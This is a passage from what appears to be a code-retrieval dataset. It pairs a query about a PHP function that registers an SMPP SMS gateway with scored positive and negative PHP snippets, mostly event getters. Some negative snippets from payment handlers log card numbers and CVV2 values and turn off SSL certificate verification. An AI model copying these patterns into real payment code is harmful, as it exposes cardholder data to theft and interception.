array(\";\");\n /**************************************************************/\n\n $this->wordpopEvent[PARSER_EVENT_IMPLEMENTS] = array('{');\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_CLASS] = \n array(\n T_ABSTRACT => PARSER_EVENT_ACCESS_MODIFIER,\n T_PUBLIC => PARSER_EVENT_ACCESS_MODIFIER,\n T_PRIVATE => PARSER_EVENT_ACCESS_MODIFIER,\n T_PROTECTED => PARSER_EVENT_ACCESS_MODIFIER,\n T_STATIC => PARSER_EVENT_ACCESS_MODIFIER,\n T_IMPLEMENTS => PARSER_EVENT_IMPLEMENTS,\n T_CONST => PARSER_EVENT_CLASS_CONSTANT,\n T_FUNCTION => PARSER_EVENT_FUNCTION,\n T_VAR => PARSER_EVENT_VAR,\n T_COMMENT => PARSER_EVENT_DOCBLOCK,\n T_DOC_COMMENT => PARSER_EVENT_DOCBLOCK,\n T_CLOSE_TAG => PARSER_EVENT_OUTPHP,\n );\n $this->wordpopEvent[PARSER_EVENT_CLASS] = array(\"}\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_DEFINE_GLOBAL] = \n array(\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n );\n $this->wordpushEvent[PARSER_EVENT_DEFINE_GLOBAL] = \n array(\n \"=\" => PARSER_EVENT_GLOBAL_VALUE,\n );\n $this->wordpopEvent[PARSER_EVENT_DEFINE_GLOBAL] = array(\";\");\n /**************************************************************/\n\n $this->tokenpushEvent[PARSER_EVENT_GLOBAL_VALUE] = \n array(\n T_ARRAY => PARSER_EVENT_ARRAY,\n T_COMMENT => PARSER_EVENT_COMMENT,\n T_DOC_COMMENT => PARSER_EVENT_COMMENT,\n T_START_HEREDOC => PARSER_EVENT_EOFQUOTE,\n );\n $this->wordpushEvent[PARSER_EVENT_GLOBAL_VALUE] =\n array(\n '\"' => PARSER_EVENT_QUOTE,\n \"'\" => PARSER_EVENT_QUOTE,\n );\n $this->wordpopEvent[PARSER_EVENT_GLOBAL_VALUE] = array(\";\");\n }", "title": "" }, { "docid": "f2f9ced4703d1032f9dceb28de019ef5", "score": "0.55514026", "text": "public function getEventName() {\n return($this->eventName);\n }", "title": "" }, { "docid": "0a1a26536ee412f4bd95abf020b283e4", "score": "0.55440956", "text": "public function getEvents(){ }", "title": "" }, { "docid": "0ddccecc47d105d1fc7f070c2faa398a", "score": "0.55403674", "text": "public function get_events() { \n\t\treturn $this->default_events();\n\t}", "title": "" }, { "docid": "c8efc94c8595c09682317bc55f009bea", "score": "0.55355906", "text": "abstract public function makeEvent();", "title": "" }, { "docid": "a1c8a041c9db9d63ac07d78d5a917a19", "score": "0.55338025", "text": "function getEventType() {\n\t\treturn $this->_eventType;\n\t}", "title": "" }, { "docid": "cd27021b82503e5de2e6eeeb6f3287ff", "score": "0.5522516", "text": "public function get_eventname() {\n return $this->eventname;\n }", "title": "" }, { "docid": "3cccae96eb07f31275bfb85ee7fe9808", "score": "0.54987514", "text": "static protected function wEvents()\n {\n return Events::getInstance();\n }", "title": "" }, { "docid": "bfe2ed217b733ae9b5c970ee40a8fefe", "score": "0.5494902", "text": "function events(){\n\t\t}", "title": "" }, { "docid": "ac4908efdb9b04de1fda21663fd8557f", "score": "0.54568785", "text": "public function getEventId()\n {\n return $this->eventId;\n }", "title": "" }, { "docid": "41418285866ce4302d021ae007716d05", "score": "0.54310834", "text": "public function getRawEventData()\n\t{\n\t\treturn [\n \t\t'title' \t=> 'Test event',\n \t\t'type'\t\t=> 'practice',\n \t\t'start' \t=> Carbon::now()->timestamp,\n \t\t'end' \t\t=> Carbon::now()->addHours(2)->timestamp,\n \t\t'details' \t=> 'Yo these tests are sweet!',\n \t\t'_token'\t=> csrf_token()\n \t];\t\n\t}", "title": "" }, { "docid": "bbc005768d122305435b969723e5c5a5", "score": "0.5422925", "text": "public function findOldEvt(){}", "title": "" }, { "docid": "bc0cfe241d1c087b2daae9d5798937dc", "score": "0.542199", "text": "public function State_6($parameters) \n\t{\n\t\treturn $this->new_events;\n\t}", "title": "" }, { "docid": "c7139404fa462cd24b110f0a834e2142", "score": "0.54186946", "text": "function Evento(){\n\t}", "title": "" }, { "docid": "de53b18d6970f5eeea1ad75246cae18b", "score": "0.54146636", "text": "public function initEvents()\r\n\t{\r\n\t\t$this->on(\"afterCreate\", function($e) {\r\n\t\t\t$this->config('current.section', $this->event('section'));\r\n\r\n\t\t\t$value = Json::isJson($this->event('value')) ? Json::decode($this->event('value')) : $this->event('value');\r\n\t\t\tif($this->container == \\Yii::$app->getModule('nitm')->config->container)\r\n\t\t\t\t$this->set(Session::settings.'.'.$this->event('key'), $value);\r\n\r\n\t\t\t$this->config($this->uriOf($this->event('key'), true).'.value', $this->event('value'));\r\n\t\t\t$this->trigger('logData');\r\n\t\t});\r\n\r\n\t\t$this->on(\"afterUpdate\", function($e) {\r\n\r\n\t\t\t$value = Json::isJson($this->event('value')) ? Json::decode($this->event('value')) : $this->event('value');\r\n\t\t\tif($this->container == \\Yii::$app->getModule('nitm')->config->container)\r\n\t\t\t\t$this->set(Session::settings.'.'.$this->event('key'), $value);\r\n\r\n\t\t\t$this->config($this->uriOf($this->event('key'), true).'.value', $this->event('value'));\r\n\t\t\t$this->trigger('logData');\r\n\t\t});\r\n\r\n\t\t$this->on(\"afterDelete\", function($e) {\r\n\t\t\tswitch($this->event('action'))\r\n\t\t\t{\r\n\t\t\t\tcase 'delete':\r\n\t\t\t\t$value = $section;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\t$this->configRemove($this->uriOf($this->event('key'), true), true);\r\n\r\n\t\t\tif($this->container == \\Yii::$app->getModule('nitm')->config->container)\r\n\t\t\t\t$this->remove(Session::settings.'.'.$this->event('key'));\r\n\r\n\t\t\t$this->trigger('logData');\r\n\t\t});\r\n\r\n\t\t$this->on('logData', function ($e) {\r\n\t\t\t$data = array_merge($this->getEventData(), $this->_event->data);\r\n\t\t\t\\Yii::$app->getModule('nitm')->log($data, 4, null, $this);\r\n\t\t\t$this->_event->handled = true;\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "4f9c9b8904cdfa8080dc002400c35c94", "score": "0.5403051", "text": "function __construct()\n\t{\n\t\t$this->events[\"AfterAdd\"]=true;\n\n\n\t\t$this->events[\"BeforeProcessAdd\"]=true;\n\n\t\t$this->events[\"BeforeAdd\"]=true;\n\n\t\t$this->events[\"BeforeShowAdd\"]=true;\n\n\t\t$this->events[\"BeforeDelete\"]=true;\n\n\t\t$this->events[\"AfterEdit\"]=true;\n\n\t\t$this->events[\"BeforeShowEdit\"]=true;\n\n\n\t}", "title": "" }, { "docid": "dfc2f108cc77dcd50c89715d60890711", "score": "0.5400077", "text": "public function getEventName()\n {\n return $this->eventName;\n }", "title": "" }, { "docid": "dfc2f108cc77dcd50c89715d60890711", "score": "0.5400077", "text": "public function getEventName()\n {\n return $this->eventName;\n }", "title": "" }, { "docid": "dfc2f108cc77dcd50c89715d60890711", "score": "0.5400077", "text": "public function getEventName()\n {\n return $this->eventName;\n }", "title": "" }, { "docid": "ee8a8a66869335a8492b369432be7a68", "score": "0.53956646", "text": "public function getUserEvent()\n {\n return $this->user_event;\n }", "title": "" }, { "docid": "b92853399bf9fdbf625074f605aee7ed", "score": "0.5393677", "text": "public function events() {\n $events = parent::events();\n $events += array(\n 'lineItemUpdated',\n );\n return $events;\n }", "title": "" }, { "docid": "e2eee288a2464d2a14442c6f451ce2a4", "score": "0.53924763", "text": "function eventclass_Viewer()\n\t{\n\t\t$this->events[\"CopyOnLoad\"]=true;\n\n\t\t$this->events[\"BeforeShowEdit\"]=true;\n\n\t\t$this->events[\"BeforeProcessList\"]=true;\n\n\n//\tonscreen events\n\t\t$this->events[\"Viewer_snippet4\"] = true;\n\t\t$this->events[\"surat_snippet191\"] = true;\n\t\t$this->events[\"suratview_snippet15\"] = true;\n\t\t$this->events[\"suratview_snippet23\"] = true;\n\t\t$this->events[\"suratview_snippet33\"] = true;\n\n\t}", "title": "" }, { "docid": "4c6126ffddec565823be7bccfbb8a6ab", "score": "0.5388889", "text": "public function getMonitorEvents()\n {\n return array(\n \"REQUEST\" => array('handleRequestEvent',0)\n );\n }", "title": "" }, { "docid": "8a2f957a1742c2cfee59d517abbcf8bd", "score": "0.5372308", "text": "function newEvent() {\n\t\t$this->event_id = '_new';\n\t\treturn $this->editEvent();\n\t}", "title": "" }, { "docid": "b1701ab6437c583f334f8e951c9d3e3c", "score": "0.5363003", "text": "public function getEventIndex()\n {\n return $this->event_index;\n }", "title": "" }, { "docid": "e14c68441bba5506c33e1ab8c7680a34", "score": "0.5362408", "text": "public function getEventName() {\n return $this->eventName;\n }", "title": "" }, { "docid": "d47cd15383f536efa6bb0c3c459c1e4c", "score": "0.5360712", "text": "public function getEventTimingReference()\n {\n return $this->eventTimingReference;\n }", "title": "" }, { "docid": "7f042b2b99a07dee717879f9362b97c0", "score": "0.5356717", "text": "public function getEventi()\n {\n return $this->eventi;\n }", "title": "" }, { "docid": "7f042b2b99a07dee717879f9362b97c0", "score": "0.5356717", "text": "public function getEventi()\n {\n return $this->eventi;\n }", "title": "" }, { "docid": "a249c4fcaf0743a2891b63e58eebc824", "score": "0.53405523", "text": "public function getEventName()\n {\n if (array_key_exists(\"eventName\", $this->_propDict)) {\n return $this->_propDict[\"eventName\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "dffa3ba77c54defe02aeaa64bdd5873f", "score": "0.53403056", "text": "function get_register_event_id() {\r\n\t\treturn $this->register_event_id;\r\n\t}", "title": "" }, { "docid": "74b4484bd783467d2f04292b9e561a9b", "score": "0.5338408", "text": "public function events()\n\t{\n\t\treturn $this->events;\n\t}", "title": "" }, { "docid": "74b4484bd783467d2f04292b9e561a9b", "score": "0.5338408", "text": "public function events()\n\t{\n\t\treturn $this->events;\n\t}", "title": "" }, { "docid": "afeaec14912cb8b554e087e353ee2d66", "score": "0.5316658", "text": "private function getEvent()\n {\n return $this->prophesize('Elcodi\\Component\\Shipping\\Event\\ShippingCollectionEvent');\n }", "title": "" }, { "docid": "a54dd148292bbce35a4b5345f0f91895", "score": "0.5312387", "text": "public function getEventId()\r\n\t{\r\n\t\treturn $this->event_id;\r\n\t}", "title": "" }, { "docid": "b38ec230ae8152b357a82c611111dc38", "score": "0.5305932", "text": "public function getEvent()\n {\n return $this;\n }", "title": "" }, { "docid": "2c59c3486fe30fce65b32deddbcadffa", "score": "0.5290716", "text": "public function getEventData()\n {\n return $this->eventData;\n }", "title": "" }, { "docid": "ffe74fab18e412f193c70c5297d23a7b", "score": "0.5289169", "text": "public function __construct()\n {\n if (!isset($_SESSION['EventArchive'])) {\n // The event archive\n $_SESSION['EventArchive'] = array(\n new Event('Buddy Week Opening Concert', '2019-08-13',\n 'Featuring Kjartan Lauritzen', 1),\n new Event('Quiz Night', '2019-08-15',\n 'J.J. Confuser is quiz master', 2),\n new Event('Buddy Week Closing Concert', '2019-08-24',\n 'Featuring Kakkamadafakka', 3)\n );\n // The id counter for generating new, unique event ids\n $_SESSION['EventArchive.nextId'] = 4;\n }\n }", "title": "" }, { "docid": "5de002d92bb6c1813ebe9cf9255c23c1", "score": "0.5282917", "text": "public function getEvents() {\n\t\treturn $this->_events;\n\t}", "title": "" }, { "docid": "3a4f93a9063b781e880a4f5065169a81", "score": "0.52787805", "text": "public function getEventID() {\n return $this->_getField(\"eventID\", 0, 2);\n }", "title": "" }, { "docid": "b29c66d46dcc8be50b7f20b1393335d5", "score": "0.5276029", "text": "function eventclass_individu()\n\t{\n\t\t$this->events[\"AfterAdd\"]=true;\n\n\n//\tonscreen events\n\n\n\t}", "title": "" }, { "docid": "2734d5aa6d8fad01203e6fab349bdcf6", "score": "0.52712405", "text": "public function getWebhookEvent()\n {\n return $this->data->webhookEvent;\n }", "title": "" }, { "docid": "0fdb670c82c290cfbed1d025cb0e0796", "score": "0.5270239", "text": "public function rrule2event()\n\t{\n\t\treturn array(\n\t\t\t'recur_type' => $this->type,\n\t\t\t'recur_interval' => $this->interval,\n\t\t\t'recur_enddate' => $this->enddate ? $this->enddate->format('ts') : null,\n\t\t\t'recur_data' => $this->weekdays,\n\t\t\t'recur_exception' => $this->exceptions,\n\t\t);\n\t}", "title": "" }, { "docid": "10b816c3e82134b8ef2f0a05facf9bd3", "score": "0.5265213", "text": "public function getGlobalEvents()\n {\n foreach ($this->ajax_events as $ajax_event)\n $this->event_handlers[$ajax_event] = $this;\n }", "title": "" }, { "docid": "28b09b8ba9147d7e27070bc8a3b62a34", "score": "0.5260133", "text": "public function getEvents() {\n\t\treturn array(\n array(\n 'event' => \"Appcontroller.structure\",\n 'callback' => array(\"this\", \"SupportBadgeCount\")\n )\n\t\t);\n\t}", "title": "" }, { "docid": "2ce112e09b53ed0569225c04d6a858de", "score": "0.52560806", "text": "public function getPieceEvents();", "title": "" }, { "docid": "b9ee441ae52f5ac0d949adb3c5f624c4", "score": "0.5254269", "text": "public function pushEvent( $event );", "title": "" } ]
5f74a84f3da39677eb3280121373db57
====================================================================== postNewSMPPGateway Function Start Here ======================================================================
[ { "docid": "985c4dc8369136c96acdd7b86588fa28", "score": "0.6575222", "text": "public function postNewSMPPGateway(Request $request)\n {\n $self = 'add-sms-gateway';\n if (Auth::user()->username !== 'admin') {\n $get_perm = Permission::permitted($self);\n\n if ($get_perm == 'access denied') {\n return redirect('permission-error')->with([\n 'message' => language_data('You do not have permission to view this page'),\n 'message_important' => true\n ]);\n }\n }\n\n $v = \\Validator::make($request->all(), [\n 'gateway_name' => 'required', 'gateway_link' => 'required', 'status' => 'required', 'gateway_user_name' => 'required', 'gateway_password' => 'required', 'schedule' => 'required'\n ]);\n\n if ($v->fails()) {\n return redirect('sms/add-smpp-sms-gateways')->withInput($request->all())->withErrors($v->errors());\n }\n\n $exist_gateway = SMSGateways::where('settings', $request->gateway_name)->first();\n if ($exist_gateway) {\n return redirect('sms/add-smpp-sms-gateways')->with([\n 'message' => language_data('Gateway already exist'),\n 'message_important' => true\n ]);\n }\n\n $gateway = new SMSGateways();\n $gateway->name = $request->gateway_name;\n $gateway->settings = $request->gateway_name;\n $gateway->api_link = $request->gateway_link;\n $gateway->port = $request->port;\n $gateway->schedule = $request->schedule;\n $gateway->custom = 'Yes';\n $gateway->status = $request->status;\n $gateway->type = 'smpp';\n $gateway->two_way = 'No';\n $gateway->voice = 'No';\n $gateway->mms = 'No';\n $gateway->save();\n\n $gateway_id = $gateway->id;\n\n if (is_int($gateway_id)) {\n\n $gateway_credential = new SMSGatewayCredential();\n $gateway_credential->gateway_id = $gateway_id;\n $gateway_credential->username = $request->gateway_user_name;\n $gateway_credential->password = $request->gateway_password;\n $gateway_credential->status = $request->status;\n\n $gateway_credential->save();\n\n return redirect('sms/smpp-sms-gateway')->with([\n 'message' => language_data('Custom gateway added successfully')\n ]);\n } else {\n return redirect('sms/add-smpp-sms-gateways')->with([\n 'message' => language_data('Something went wrong please try again'),\n 'message_important' => true\n ]);\n }\n\n }", "title": "" } ]
[ { "docid": "fd8b754ea5e44d97ee7ecde0fb3afc7c", "score": "0.64277774", "text": "function bbp_post_request()\n{\n}", "title": "" }, { "docid": "1b37eea3bdf29c8bc1659dcdebbae51e", "score": "0.6070102", "text": "function post()\n\t\t{\n\t\t}", "title": "" }, { "docid": "4d83dacd5eec88228a3ef831008a59c1", "score": "0.60204893", "text": "public function postTrip()\n\t{\n\t}", "title": "" }, { "docid": "ab359046d18ccc4017383bc954061325", "score": "0.60166514", "text": "protected function _post() { }", "title": "" }, { "docid": "757a29489d96e2fa97bd3b216e5874c8", "score": "0.58373696", "text": "abstract protected function post();", "title": "" }, { "docid": "a0f47e27f200eee0d43df885eb375ea3", "score": "0.58357483", "text": "public function post()\n\t{\n\t}", "title": "" }, { "docid": "ee6723cdedd51a5087ba57024f33852e", "score": "0.58345234", "text": "abstract protected function _post(\\Raneko\\Common\\Message $message);", "title": "" }, { "docid": "809eb3555ad656a146963064bfcde243", "score": "0.58083", "text": "public function postAction() {\n\t\t//\n\t}", "title": "" }, { "docid": "080aaaecd88c55ad8336003b8484a94d", "score": "0.58082634", "text": "static function post(){\n\t}", "title": "" }, { "docid": "f1a6ff0d96c271da92b8c83d88cd8760", "score": "0.57501924", "text": "function process_post()\n{\n\tglobal $g_obj_lock;\n\t\n\tif ( isset( $_POST['Command'] ) && $g_obj_lock->page_lock( PageHandler::get_post_value( 'SerialId' ) ) )\n\t{ \n\t\t$str_command = $_POST['Command'];\n\n\t\tswitch( $str_command )\n\t\t{ \n\t\t\tcase 'Create':\n\t\t\t{\n\t\t\t\ton_create_handler();\n\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase 'Delete Selected Courses':\n\t\t\t{\n\t\t\t\ton_delete_handler();\n\t\t\t}\n\t\t\tbreak;\n\t\t\t\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tMessageHandler::add_message( MSG_ERROR, \"Unknown Command\" );\n\t\t\t}\n\t\t\tbreak;\t\n\t\t}\n\t}\n}", "title": "" }, { "docid": "caaf2aa817b919eb586f5dbdd6906ce1", "score": "0.57423174", "text": "protected function postCreateHttpClient()\n {\n\n }", "title": "" }, { "docid": "9d5bb8ace831558e4bf3da802e151e95", "score": "0.5695104", "text": "function handle_post(){\n\t}", "title": "" }, { "docid": "866ac060ef3abd0019265a663d36aaf4", "score": "0.5674611", "text": "public function post();", "title": "" }, { "docid": "866ac060ef3abd0019265a663d36aaf4", "score": "0.5674611", "text": "public function post();", "title": "" }, { "docid": "866ac060ef3abd0019265a663d36aaf4", "score": "0.5674611", "text": "public function post();", "title": "" }, { "docid": "6e3b7e43fd7196a4c093a1905b9ba4df", "score": "0.5674069", "text": "public function sendPostRequest();", "title": "" }, { "docid": "c346f464faea1372820fe3bb9516823b", "score": "0.56694824", "text": "public function postAction()\n\t{\n\t\t$config = Esquire_Config_Factory::getApplicationConfig();\n\t\t$logger = Esquire_Log_Factory::getLogger($config, 'payment');\n\t\t$logger->log('Beginning new payment request', Zend_Log::INFO);\n\n\t\t$invoiceObjects = null;\n\t\t$paymentId = null;\n\t\t$values = json_decode(stripslashes($this->_getParam('values')), true);\n $values['payment_amount'] = number_format(\n\t\t\tpreg_replace('/[^\\d\\.]/', '', $values['payment_amount']), \n\t\t\t2, \n\t\t\t'.', \n\t\t\t''\n\t\t);\n $source = $this->_getParam('source');\n \n\t\ttry {\n\t\t\t\n\t\t\t$payment = Esquire_Payment_Factory::getInstance($config);\n\n /**\n * If coming from cashapp interface the structure of the parameters are\n * different. We add in a couple of keys that are named differently on ECN.\n */\n if (isset($values['PaymentDistribution'])) {\n $invoiceArray = $values['PaymentDistribution'];\n } elseif (isset($values['invoices'])) {\n $invoiceArray = $values['invoices'];\n }\n $logger->log('Invoice Array: ' . print_r($invoiceArray, true), Zend_Log::INFO);\n \n\t\t\tif (count($invoiceArray) > 0) {\n\t\t\t\t$invoiceObjects = $this->_getInvoiceObjects($invoiceArray);\n\t\t\t\tif ($invoiceObjects instanceof Doctrine_Collection) {\n\t\t\t\t\t$logger->log('Got invoice objects ' . $invoiceObjects->count(), Zend_Log::INFO);\n\t\t\t\t} else {\n\t\t\t\t\t$logger->log('Got NO invoices', Zend_Log::INFO);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (count($invoiceArray) > 0) {\n\t\t\t\t$invoices = $payment->setAmountAppliedToInvoice($invoiceArray, $invoiceObjects);\n\t\t\t}\n\t\t\t$success = $payment->createPayment($values, $invoices);\n\t\t\t$logger->log('Payment creation success: ' . $success, Zend_Log::INFO);\n\n\t\t\tif ($success === false) {\n\t\t\t\t$logger->log(\n\t\t\t\t\t'Payment creation error: ' . $payment->getErrorMessage(), \n\t\t\t\t\tZend_Log::ERR\n\t\t\t\t);\n\t\t\t\t$this->getResponse()\n\t\t\t\t\t ->setHttpResponseCode(500);\n\t\t\t\t$this->view->data = array(\n\t\t\t\t\t'success' => false,\n\t\t\t\t\t'error_code' => 10,\n\t\t\t\t\t'error_message' => $payment->getErrorMessage()\n\t\t\t\t);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$paymentId = $payment->getPaymentId();\n\t\t} catch (Exception $e) {\n\t\t\t$this->getResponse()\n\t\t\t\t ->setHttpResponseCode(500);\n\t\t\t$this->view->data = array(\n\t\t\t\t'success' => false,\n\t\t\t\t'error_code' => 11,\n\t\t\t\t'error_message' => 'A system error occurred.'\n\t\t\t);\n\t\t\t$logger->log($e->getMessage(), Zend_Log::ERR);\n\t\t\t$logger->log($e->getTraceAsString(), Zend_Log::ERR);\n\t\t\treturn;\n\t\t}\n\n\t\t$commitMessage = '';\n\n /**\n * Call ModPayController. Format $params first in a way that ModPay expects.\n * ModPay will commit payments to Solaria.\n */\n $params = array (\n\t\t\t'card_name' => $values['card_name'],\n\t\t\t'email' => $values['cc_email'], // Customer's billing email address\n\t\t\t'address' => $values['cc_address'],\n\t\t\t'city' => $values['cc_city'],\n\t\t\t'state' => $values['cc_state'],\n\t\t\t'zipcode' => $values['cc_zipcode'],\n\t\t\t'shiptophone' => $values['cc_shiptophone'],\n\t\t\t'card_number' => $values['card_number'],\n\t\t\t'expiration_date' => $values['expiration_date'],\n\t\t\t'payment_amount' => $values['payment_amount'],\n\t\t\t'cvv2' => $values['cvv2'],\n\t\t\t'npc_payment_id' => $paymentId,\n 'source' => $source,\n\t\t\t'payor_name' => $values['card_name'],\n 'transaction_date' => $values['transaction_date']\n\t\t);\n\n if ($invoiceObjects instanceof Doctrine_Collection && $invoiceObjects->count() > 0) {\n $serverBaseUrl = $config->server->url;\n $url = $serverBaseUrl . '/cashapp.php?control=modpay';\n\n\t\t\t/**\n\t\t\t * The old cash app system expects a \"PaymentType\" string:\n\t\t\t * CREDIT-AMERICAN EXPRESS\n\t\t\t * CREDIT-MC\n\t\t\t * CREDIT-VISA\n\t\t\t * CREDIT-DISCOVER\n\t\t\t */\n\t\t\tswitch(substr($values['card_number'], 0, 1)) {\n\t\t\t\tcase 6:\n\t\t\t\t\t$params['PaymentType'] = 'CREDIT-DISCOVER';\n $paymentType = 'CREDIT-DISCOVER';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 5:\n\t\t\t\t\t$params['PaymentType'] = 'CREDIT-MC';\n $paymentType = 'CREDIT-MC';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\t$params['PaymentType'] = 'CREDIT-VISA';\n $paymentType = 'CREDIT-VISA';\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$params['PaymentType'] = 'CREDIT-AMERICAN EXPRESS';\n $paymentType = 'CREDIT-AMERICAN EXPRESS';\n\t\t\t\t\tbreak;\n\t\t\t}\n\n $client = Esquire_Http_Builder::getInstance($config, $url);\n \n $postVars = array(\n 'control' => 'modpay',\n 'action' => 'processcreditcard',\n 'values' => json_encode($params),\n 'invoices' => json_encode($invoiceArray),\n\t\t\t\t\t'PaymentType' => $paymentType,\n 'entered_login' => $config->system->sys_account_name,\n 'entered_password' => $config->system->sys_key,\n 'login' => $config->system->sys_account_name,\n 'password' => $config->system->sys_key,\n 'paymentId' => $paymentId\n );\n \n $client->setParameterPost(\n $postVars\n );\n\n\t\t\t$json = null;\n\n\t\t\t/**\n\t\t\t * Errors from Modpay shouldn't bubble up\n\t\t\t */\n\t\t\ttry {\n\t\t\t\t$logger->log('Modpay params -- ' . print_r($postVars, true), Zend_Log::INFO);\n\t\t\t\t$logger->log('Modpay URL -- ' . $url, Zend_Log::INFO);\n\t\t\t\t$response = $client->request('POST');\n\t\t\t\t$body = $response->getBody();\n\t\t\t\t$logger->log('Modpay Response -- ' . $body, Zend_Log::INFO);\n\t\t\t\t$json = json_decode($body, true);\n\t\t\t} catch (Exception $e) {\n\t\t\t\t$logger->log(\n\t\t\t\t\t'Caught exception when processing payment - ' . $e->getMessage(), \n\t\t\t\t\tZend_Log::ERR\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t$transactionNumber = $paymentId;\n\t\t\twhile(strlen($transactionNumber) < 10) {\n\t\t\t\t$transactionNumber = '0' . $transactionNumber;\n\t\t\t}\n\n\t\t\tif (!empty($json) && $json['success'] == 1) {\n\t\t\t\t$commitMessage = 'Payment successfully applied to invoices. '\n\t\t\t\t\t\t\t . 'Your transaction number is ' . $transactionNumber;\n\t\t\t} else {\n\t\t\t\t$commitMessage = '<b>Warning: </b>We were unable to successfully '\n\t\t\t\t\t\t\t . 'apply this payment to your invoices. Our support '\n\t\t\t\t\t\t\t . 'staff have been notified of the issue and will '\n\t\t\t\t\t\t\t . 'contact you to resolve it.'\n\t\t\t\t\t\t\t . '<br /><br />'\n\t\t\t\t\t\t\t . 'Your transaction number is ' . $transactionNumber;\n\t\t\t}\n } \n\n\t\t$this->getResponse()\n\t\t\t ->setHttpResponseCode(200);\n\n $this->view->data = array(\n\t\t\t'success' => true,\n\t\t\t'message' => $commitMessage,\n\t\t\t'payment_id' => $paymentId\n\t\t);\n\t}", "title": "" }, { "docid": "b78209f658263ef972dcc4bf3f360540", "score": "0.5652796", "text": "function submit() {\n $options = array(\n 'timeout' => 10,\n 'body' => $this->collected_gateway_data,\n 'user-agent' => $this->cart_data['software_name'] .\" \" . get_bloginfo( 'url' ),\n 'sslverify' => false,\n 'headers' => array('Content-Type' => 'application/x-qbmsxml')\n );\n\n $qbms_url = QBMS_HOST . \"/j/AppGateway\";\n\n $response = wp_remote_post($qbms_url, $options);\n $parsed_response = null;\n if( ! is_wp_error( $response ) ) {\n $parsed_response = $this->parse_qbms_response($response['body']);\n }\n\n //echo \"<pre>\";\n //print_r($parsed_response);\n //echo \"</pre>\";\n //exit();\n\n if( ! $parsed_response || $parsed_response['signon_status'] != \"0\") {\n error_log(\"QBMS SignOn Error:\" . print_r($parsed_response,true));\n $this->set_error_message(__(\"There was an error contacting the payment gateway, please try again later.\", 'wpsc'));\n $this->return_to_checkout();\n return false;\n }\n\n if($parsed_response['response_code'] != \"0\") {\n error_log(\"QBMS Response Error: \" . print_r($parsed_response, true));\n $this->set_transaction_details( $parsed_response['CreditCardTransID'], 1 );\n $this->set_error_message(__('Your transaction was declined. Please check your credit card details and try again.', 'wpsc'));\n $_SESSION['WpscGatewayErrorMessage'] = __('Your transaction was declined. Please check your credit card details and try again.', 'wpsc');\n $_SESSION['WpscGatewayErrorCode'] = $parsed_response['response_code'];\n $_SESSION['WpscGatewayErrorDescription'] = $parsed_response['response_description'];\n $this->set_auth_code( $parsed_response['response_description'] );\n $this->return_to_checkout();\n return false;\n }\n //'approved';\n $this->set_transaction_details( $parsed_response['CreditCardTransID'], 3 );\n $this->set_auth_code( $parsed_response['AuthorizationCode'] );\n $this->go_to_transaction_results($this->cart_data['session_id']);\n return true;\n }", "title": "" }, { "docid": "ea8fdd239b0253889104398882de582c", "score": "0.56514925", "text": "public function gatewayPostFields() {\n $ramount = '0.00';\n // Check for webhook event..\n // Not all are supported..\n if (isset($this->hookevt['data']['object']['client_reference_id'])) {\n $chop = explode('-', $this->hookevt['data']['object']['client_reference_id']);\n $order = $this->getOrderInfo($chop[0], $chop[1]);\n if (isset($order->id)) {\n $this->writeLog($order->id, 'Webhook event received from payment gateway. Received: ' . print_r($this->hookevt, true));\n $_POST['custom'] = $this->hookevt['data']['object']['client_reference_id'];\n $failCode = '';\n $txn_id = '';\n switch($this->hookevt['type']) {\n // Checkout payment completed..\n case 'checkout.session.completed':\n if (isset($this->hookevt['data']['object']['display_items'][0]['currency'],\n $this->hookevt['data']['object']['display_items'][0]['amount'])) {\n $this->writeLog($order->id, 'Processing webhook: ' . $this->hookevt['type']);\n $payStatus = 'completed';\n $txn_id = $this->hookevt['data']['object']['id'];\n $currency = strtolower($this->hookevt['data']['object']['display_items'][0]['currency']);\n $amount = $this->hookevt['data']['object']['display_items'][0]['amount'];\n }\n break;\n // Refund processed..\n case 'charge.refunded':\n if (isset($this->hookevt['data']['object']['display_items'][0]['currency'],\n $this->hookevt['data']['object']['display_items'][0]['amount'])) {\n $this->writeLog($order->id, 'Processing webhook: ' . $this->hookevt['type']);\n $currency = $this->hookevt['data']['object']['display_items'][0]['currency'];\n $amount = ($this->hookevt['data']['object']['display_items'][0]['amount'] / 100);\n $payStatus = 'refunded';\n $ramount = ($this->hookevt['data']['object']['display_items'][0]['amount_refunded'] / 100);\n }\n break;\n // Not supported..\n default:\n if (isset($this->hookevt['data']['object']['display_items'][0]['currency'],\n $this->hookevt['data']['object']['display_items'][0]['amount'])) {\n $this->writeLog($order->id, 'Unsupported webhook: ' . $this->hookevt['type']);\n $currency = $this->hookevt['data']['object']['display_items'][0]['currency'];\n $amount = ($this->hookevt['data']['object']['display_items'][0]['amount'] / 100);\n $payStatus = $this->hookevt['type'];\n }\n break;\n }\n }\n }\n $arr = array(\n 'trans-id' => (isset($txn_id) ? $txn_id : ''),\n 'amount' => (isset($amount) ? number_format($amount, 2, '.', '') : ''),\n 'pay-total' => (isset($amount) ? number_format($amount, 2, '.', '') : ''),\n 'refund-amount' => (isset($ramount) ? number_format($ramount, 2, '.', '') : ''),\n 'currency' => (isset($currency) ? $currency : ''),\n 'code-id' => (isset($_POST['custom']) ? $_POST['custom'] : ''),\n 'pay-status' => (isset($payStatus) ? $payStatus : 'failed'),\n 'fail-code' => (isset($failCode) ? $failCode : ''),\n 'pending-reason' => '',\n 'inv-status' => '',\n 'fraud-status' => ''\n );\n return $arr;\n }", "title": "" }, { "docid": "2be845e3ed07f13fbf3525617320d026", "score": "0.56019425", "text": "function schedule_post()\n { \n $schedule = new Schedule();\n\n $schedule->date_created = date('Y-m-d H:i:s');\n $schedule->createdbypk = $this->get_user()->user_id;\n $schedule->date_modified = 